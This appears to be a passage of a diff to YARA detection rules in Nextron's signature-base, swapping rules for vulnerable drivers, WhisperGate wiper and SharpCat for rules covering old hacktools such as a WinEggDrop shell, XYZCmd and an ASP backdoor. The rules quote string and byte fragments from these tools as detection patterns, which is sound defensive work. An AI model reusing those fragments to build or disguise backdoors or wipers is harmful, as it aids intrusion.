+		id = "de6bf995-1c7c-561f-98df-e8748d5fb157"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6765-L6785"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9679758455c69877fce866267d60c39d108b495dca183954e4af869902965b3d"
-		logic_hash = "fa486cd644c20c827abc8568933d8537c254cff445f2aef520775e119b6db067"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1635-L1657"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "87b29c9121cac6ae780237f7e04ee3bc1a9777d3"
+		logic_hash = "6a8f6fcf8f4a0ea5ac114150d7becbd716be0bb40cd45fd5c76a4a8a328e5e40"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$s0 = "%s Server.exe" fullword ascii
+		$s1 = "Service Port: %s" fullword ascii
+		$s2 = "The Port Must Been >0 & <65535" fullword ascii
+		$s8 = "3--Set Server Port" fullword ascii
+		$s9 = "The Server Password Exceeds 32 Characters" fullword ascii
+		$s13 = "Service Name: %s" fullword ascii
+		$s14 = "Server Password: %s" fullword ascii
+		$s17 = "Inject Process Name: %s" fullword ascii
+		$x1 = "WinEggDrop Shell Congirator" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		5 of ($s*) or $x1
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_8137 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Letmein
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
-		author = "Florian Roth"
-		id = "0e696bff-b5da-5116-a5a7-341b6c3098b8"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set (old stuff) - file letmein.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5dba055f-1928-534a-8d0e-11dda56d93b7"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6788-L6808"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8137ce22d0d0fc5ea5b174d6ad3506a4949506477b1325da2ccb76511f4c4f60"
-		logic_hash = "cd4ace0ee1000ec8367bdca57423f311d0993d54359e4b3ca6a503738ba07b3b"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1659-L1675"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "74d223a56f97b223a640e4139bb9b94d8faa895d"
+		logic_hash = "6cf454d11bc806b3a30c52b730994adb8d92613c92849162717f415e5681e417"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$s1 = "Error get globalgroup memebers: NERR_InvalidComputer" fullword ascii
+		$s6 = "Error get users from server!" fullword ascii
+		$s7 = "get in nt by name and null" fullword ascii
+		$s16 = "get something from nt, hold by killusa." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_4DA0 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Token
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "bde91bb0-9211-5fea-b725-d556c5a3ccc9"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set (old stuff) - file token.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9d0ac24b-2078-5455-8d9e-a642c71f7b2d"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6811-L6831"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4da08c0681fbe028b60a1eaf5cb8890bd3eba4d0e6a8b976495ddcd315e147ba"
-		logic_hash = "c8f2c5a171d1a7192a2eaeae0ab70ce97956b93e68db7a41265e54480bd582f1"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1677-L1694"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c52bc6543d4281aa75a3e6e2da33cfb4b7c34b14"
+		logic_hash = "88d7086a48c6a2e3801db75565184b087e663e80e2364765072fc37a5549b8b5"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0037002e0034003000310036002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0037002e0034003000310036002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
+		$s0 = "Logon.exe" fullword ascii
+		$s1 = "Domain And User:" fullword ascii
+		$s2 = "PID=Get Addr$(): One" fullword ascii
+		$s3 = "Process " fullword ascii
+		$s4 = "psapi.dllK" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Tidepool_Malware : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_TELNET
 {
 	meta:
-		description = "Detects TidePool malware mentioned in Ke3chang report by Palo Alto Networks"
+		description = "Disclosed hacktool set (old stuff) - file TELNET.EXE from Windows ME"
 		author = "Florian Roth (Nextron Systems)"
-		id = "eec12fd7-f5f8-5bee-98e0-2111766deb55"
-		date = "2016-05-24"
+		id = "fae22e0f-2f69-5dc6-984c-2c07530ad11a"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/m2CXWR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_tidepool.yar#L8-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "759920ed7c9320e8412ed0644b28922a545b04f7549f0da6d6c67d6af8a7af3e"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1696-L1712"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "50d02d77dc6cc4dc2674f90762a2622e861d79b1"
+		logic_hash = "4e90d95b7c94933ed5c50f060840291540fc99de0173298b97d2c6ccbf75d26a"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba"
-		hash2 = "67c4e8ab0f12fae7b4aeb66f7e59e286bd98d3a77e5a291e8d58b3cfbc1514ed"
-		hash3 = "2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18"
-		hash4 = "38f2c86041e0446730479cdb9c530298c0c4936722975c4e7446544fd6dcac9f"
-		hash5 = "9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba"
 
 	strings:
-		$x1 = "Content-Disposition: form-data; name=\"m1.jpg\"" fullword ascii
-		$x2 = "C:\\PROGRA~2\\IEHelper\\mshtml.dll" fullword wide
-		$x3 = "C:\\DOCUME~1\\ALLUSE~1\\IEHelper\\mshtml.dll" fullword wide
-		$x4 = "IEComDll.dat" fullword ascii
-		$s1 = "Content-Type: multipart/form-data; boundary=----=_Part_%x" fullword wide
-		$s2 = "C:\\Windows\\System32\\rundll32.exe" fullword wide
-		$s3 = "network.proxy.socks_port\", " fullword ascii
+		$s0 = "TELNET [host [port]]" fullword wide
+		$s2 = "TELNET.EXE" fullword wide
+		$s4 = "Microsoft(R) Windows(R) Millennium Operating System" fullword wide
+		$s14 = "Software\\Microsoft\\Telnet" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*))) or (4 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Sharpcat : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Snifferport
 {
 	meta:
-		description = "Detects command shell SharpCat - file SharpCat.exe"
+		description = "Disclosed hacktool set (old stuff) - file snifferport.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "94a7ce40-ac2f-598e-86c5-ee9fde1eeef0"
-		date = "2016-06-10"
+		id = "5b903344-18d2-5d3d-be66-7260a5f3ea4b"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Cn33liz/SharpCat"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_sharpcat.yar#L8-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4a38812b07b40bdde03049dbff1f9de38cadaf9941ab8b40b84016b1d5cbfd51"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1714-L1731"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d14133b5eaced9b7039048d0767c544419473144"
+		logic_hash = "361f1a55ed4bd5a7a5d01d346c4efd1b83e701363484282235b5aab18d3abe1a"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "96dcdf68b06c3609f486f9d560661f4fec9fe329e78bd300ad3e2a9f07e332e9"
 
 	strings:
-		$x1 = "ShellZz" fullword ascii
-		$s2 = "C:\\Windows\\System32\\cmd.exe" fullword wide
-		$s3 = "currentDirectory" fullword ascii
+		$s0 = "iphlpapi.DLL" fullword ascii
+		$s5 = "ystem\\CurrentCorolSet\\" ascii
+		$s11 = "Port.TX" fullword ascii
+		$s12 = "32Next" fullword ascii
+		$s13 = "V1.2 B" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_HKTL_EXPL_POC_Libssh_Auth_Bypass_CVE_2023_2283_Jun23_1 : CVE_2023_2283 FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Webget
 {
 	meta:
-		description = "Detects POC code used in attacks against libssh vulnerability CVE-2023-2283"
-		author = "Florian Roth"
-		id = "e72eba33-686f-5fca-bca3-2b875d1ec224"
-		date = "2023-06-08"
+		description = "Disclosed hacktool set (old stuff) - file webget.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b03a2463-94fe-5050-8e3d-269101a03cda"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/github/securitylab/tree/1786eaae7f90d87ce633c46bbaa0691d2f9bf449/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_libssh_cve_2023_2283_jun23.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4c3d54d7f4902c1da664e41096b5931e6534aaaf63243f12e05b81af63d8b28f"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1733-L1749"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "36b5a5dee093aa846f906bbecf872a4e66989e42"
+		logic_hash = "958c465caddf6436b29042f1f1772e039d011d23ff13d91818a9d7ad21a2c750"
+		score = 60
 		quality = 85
-		tags = "CVE-2023-2283, FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "nprocs = %d" ascii fullword
-		$s2 = "fork failed: %s" ascii fullword
+		$s0 = "Packed by exe32pack" ascii
+		$s1 = "GET A HTTP/1.0" fullword ascii
+		$s2 = " error " fullword ascii
+		$s13 = "Downloa" ascii
 
 	condition:
-		uint16(0)==0x457f and all of them
+		all of them
 }
-rule SIGNATURE_BASE_SUSP_RAR_Single_Doc_File : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Xyzcmd_Zip_Folder_Xyzcmd
 {
 	meta:
-		description = "Detects suspicious RAR files that contain nothing but a single .doc file"
+		description = "Disclosed hacktool set (old stuff) - file XYZCmd.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "92dc3a5d-d12c-56d3-8531-25b3da1e1595"
-		date = "2020-07-11"
+		id = "c3d70b93-1d53-5403-bd22-d1e4bad5042b"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_hunting_susp_rar.yar#L3-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bfc8c60c86e65e041976dac9d15c486ad99da930849bd697c869eec0a2626c38"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1751-L1767"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bbea5a94950b0e8aab4a12ad80e09b630dd98115"
+		logic_hash = "ad0e8f964c7be376236b50ea370de3e433fa9e7b043663d8f32fad06997056ea"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = ".doc"
+		$s0 = "Executes Command Remotely" fullword wide
+		$s2 = "XYZCmd.exe" fullword wide
+		$s6 = "No Client Software" fullword wide
+		$s19 = "XYZCmd V1.0 For NT S" fullword ascii
 
 	condition:
-		uint16(0)==0x6152 and filesize <4000KB and $s1 at ( uint16(5)+ uint16( uint16(5)+5)+ uint16( uint16(5)+ uint16( uint16(5)+5)+5)-9) and ( uint16(5)+ uint16( uint16(5)+5)+ uint16( uint16(5)+ uint16( uint16(5)+5)+5)+ uint32( uint16(5)+ uint16( uint16(5)+5)+7)> filesize -8)
+		all of them
 }
-rule SIGNATURE_BASE_APT_HKTL_Wiper_Whispergate_Jan22_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Aspack_Chinese
 {
 	meta:
-		description = "Detects unknown wiper malware"
+		description = "Disclosed hacktool set (old stuff) - file ASPack Chinese.ini"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f04b619e-1df2-5c51-9cab-4a0fffd1c042"
-		date = "2022-01-16"
+		id = "ac821117-7534-5dec-9477-25be87361900"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ua_wiper_whispergate.yar#L2-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "72eb50a70b3f2fbb232134ef4706dbb15bdb5893fe06d899bff3b7aacdfadd30"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1769-L1786"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "02a9394bc2ec385876c4b4f61d72471ac8251a8e"
+		logic_hash = "98b3af76986cd41190612a2fdfbd9ba48f102456897f4acaedd89a40ab5a582a"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		hash1 = "a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$xc1 = { 41 41 41 41 41 00 59 6F 75 72 20 68 61 72 64 20
-               64 72 69 76 65 20 68 61 73 20 62 65 65 6E 20 63
-               6F 72 72 75 70 74 65 64 }
-		$op1 = { 89 34 24 e8 3f ff ff ff 50 8d 65 f4 31 c0 59 5e 5f }
-		$op2 = { 8d bd e8 df ff ff e8 04 de ff ff b9 00 08 00 00 f3 a5 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 c7 44 24 10 03 00 00 00 c7 44 24 0c 00 00 00 00 }
-		$op3 = { c7 44 24 0c 00 00 00 00 c7 44 24 08 00 02 00 00 89 44 24 04 e8 aa fe ff ff 83 ec 14 89 34 24 e8 3f ff ff ff 50 }
+		$s0 = "= Click here if you want to get your registered copy of ASPack" fullword ascii
+		$s1 = ";  For beginning of translate - copy english.ini into the yourlanguage.ini" fullword ascii
+		$s2 = "E-Mail:                      shinlan@km169.net" fullword ascii
+		$s8 = ";  Please, translate text only after simbol '='" fullword ascii
+		$s19 = "= Compress with ASPack" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 2 of them ) or all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_HKTL_Wiper_Whispergate_Jan22_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Aspbackdoor_EDIR
 {
 	meta:
-		description = "Detects unknown wiper malware"
+		description = "Disclosed hacktool set (old stuff) - file EDIR.ASP"
 		author = "Florian Roth (Nextron Systems)"
-		id = "822e5af5-9c51-5be3-94f1-7e0a714743e6"
-		date = "2022-01-16"
+		id = "0895091a-b620-5746-8245-d44716ec2bbe"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ua_wiper_whispergate.yar#L25-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "87a03e95bc1c33d1b3343ec7369c516bb15791943fbb122de11867ad4bddd565"
-		score = 90
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1788-L1805"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "03367ad891b1580cfc864e8a03850368cbf3e0bb"
+		logic_hash = "be7d956333107a57a0fd86c69fc9eabcd3d9daf3f66385c44ba246fc2000dc4d"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		hash1 = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sc1 = { 70 00 6F 00 77 00 65 00 72 00 73 00 68 00 65 00
-               6C 00 6C 00 00 27 2D 00 65 00 6E 00 63 00 20 00
-               55 00 77 00 42 00 30 00 41 00 47 00 45 00 41 00
-               63 00 67 00 42 00 30 00 41 00 43 }
-		$sc2 = { 59 00 6C 00 66 00 77 00 64 00 77 00 67 00 6D 00
-               70 00 69 00 6C 00 7A 00 79 00 61 00 70 00 68 }
-		$s1 = "xownxloxadDxatxxax" wide
-		$s2 = "0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==" wide
-		$s3 = "https://cdn.discordapp.com/attachments/" wide
-		$s4 = "fffxfff.fff" ascii fullword
-		$op1 = { 20 6b 85 b9 03 20 14 19 91 52 61 65 20 e1 ae f1 }
-		$op2 = { aa ae 74 20 d9 7c 71 04 59 20 71 cc 13 91 61 20 97 3c 2a c0 }
-		$op3 = { 38 9c f3 ff ff 20 f2 96 4d e9 20 5d ae d9 ce 58 20 4f 45 27 }
-		$op4 = { d4 67 d4 61 80 1c 00 00 04 38 35 02 00 00 20 27 c0 db 56 65 20 3d eb 24 de 61 }
+		$s1 = "response.write \"<a href='index.asp'>" fullword ascii
+		$s3 = "if Request.Cookies(\"password\")=\"" ascii
+		$s6 = "whichdir=server.mappath(Request(\"path\"))" fullword ascii
+		$s7 = "Set fs = CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+		$s19 = "whichdir=Request(\"path\")" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 5 of them or 7 of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_HKTL_Wiper_Whispergate_Stage3_Jan22 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Bypassfirewall_Zip_Folder_Ie
 {
 	meta:
-		description = "Detects reversed stage3 related to Ukrainian wiper malware"
+		description = "Disclosed hacktool set (old stuff) - file Ie.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d5d562cd-03ef-5450-8044-3f538cea32d0"
-		date = "2022-01-16"
+		id = "7bd10fa1-be2d-5882-b4c7-b696612343e5"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/juanandres_gs/status/1482827018404257792"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ua_wiper_whispergate.yar#L59-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b06536b6a6eebd5fb398ba2617bf68a5b2c4b0035766b3cd0fc03d95019891ec"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1807-L1823"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d1b9058f16399e182c9b78314ad18b975d882131"
+		logic_hash = "844e260870f075b0afae0667691e61ab8f138a29871f9a18d1f2b623f9bb9e2a"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		hash1 = "9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$xc1 = { 65 31 63 70 00 31 79 72 61 72 62 69 4c 73 73 61 6c 43 00 6e 69 61 4d }
-		$s1 = "lld." wide
+		$s0 = "d:\\documents and settings\\loveengeng\\desktop\\source\\bypass\\lcc\\ie.dll" fullword ascii
+		$s1 = "LOADER ERROR" fullword ascii
+		$s5 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		$s7 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
 
 	condition:
-		uint16( filesize -2)==0x4d5a and filesize <5000KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_MAL_OBFUSC_Unknown_Jan22_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Editkeylogreadme
 {
 	meta:
-		description = "Detects samples similar to reversed stage3 found in Ukrainian wiper incident named WhisperGate"
+		description = "Disclosed hacktool set (old stuff) - file EditKeyLogReadMe.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "647c0092-b03d-5627-8568-ddaa982c73a1"
-		date = "2022-01-16"
+		id = "db083c04-9e5c-5cfd-b4d4-eecf28191b6b"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/juanandres_gs/status/1482827018404257792"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ua_wiper_whispergate.yar#L76-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "26a295d3b78c3a33d776a648aa0f410ac7cb5021ad9d3b294ff9629d6ba7132a"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		hash1 = "9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1825-L1843"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dfa90540b0e58346f4b6ea12e30c1404e15fbe5a"
